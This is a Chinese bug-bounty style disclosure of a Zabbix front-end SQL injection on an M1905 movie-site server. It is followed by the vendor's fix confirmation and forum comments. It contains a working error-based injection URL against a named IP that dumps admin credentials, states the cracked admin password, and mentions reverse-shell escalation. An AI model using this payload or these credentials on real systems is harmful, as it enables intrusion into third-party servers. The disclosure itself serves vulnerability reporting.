M1905电影网某站zabbix注入进后台命令执行

http://118.145.26.196/zabbix/index.php

登录处看zabbix版本太低了，记得以前有个前台注入的洞，于是用exp打了下。

http://118.145.26.196/zabbix/httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(concat(alias,0x7e,passwd,0x7e) as char),0x7e)) from zabbix.users LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

解密后登录成功 admin/M1905&2014 由图可以看出是电影网的叮叮。

zabbix权限。

有内网ip

可以做反弹提权，继续深入。看了下内核版本没找到exp，就不继续了。。。

升级zabbix，版本太低了，还好权限控制得比较死

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2016-03-15 13:59

厂商回复：

感谢提供信息

最新状态：

2016-03-15：Zabbix版本已升级，并增强了权限控制。感谢ShAdow丶

2016-03-15：已修复。

1. 2016-03-15 12:08 | 镱鍚 ( 普通白帽子 | Rank:302 漏洞数:42 | 执手岁月留香，唱曲往事飞扬...)

   2

   前排

   1#回复此人

2. 2016-03-15 17:05 | 1c3z ( 普通白帽子 | Rank:307 漏洞数:64 | @)!^)

   1

   好快。

   2#回复此人

3. 2016-03-15 17:35 | 无敌情痴 ( 普通白帽子 | Rank:203 漏洞数:61 | 没有站在安全界顶点的能力，但是也要不断的...)

   2

   路过

   3#回复此人

4. 2016-03-15 19:52 | jg_fly ( 路人 | Rank:4 漏洞数:2 | 技术宅 爱电影 爱阅读 爱生活)

   1

   好抠门啊

   4#回复此人

5. 2016-03-15 21:44 | ShAdow丶 ( 普通白帽子 | Rank:119 漏洞数:19 )

   1

   厂商就不能多给点rank 虽然没深入 -。-

   5#回复此人

6. 2016-03-15 21:57 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

   2

   你要一插到底！直接控内网，他们就给分了！然后你去喝点茶！

   6#回复此人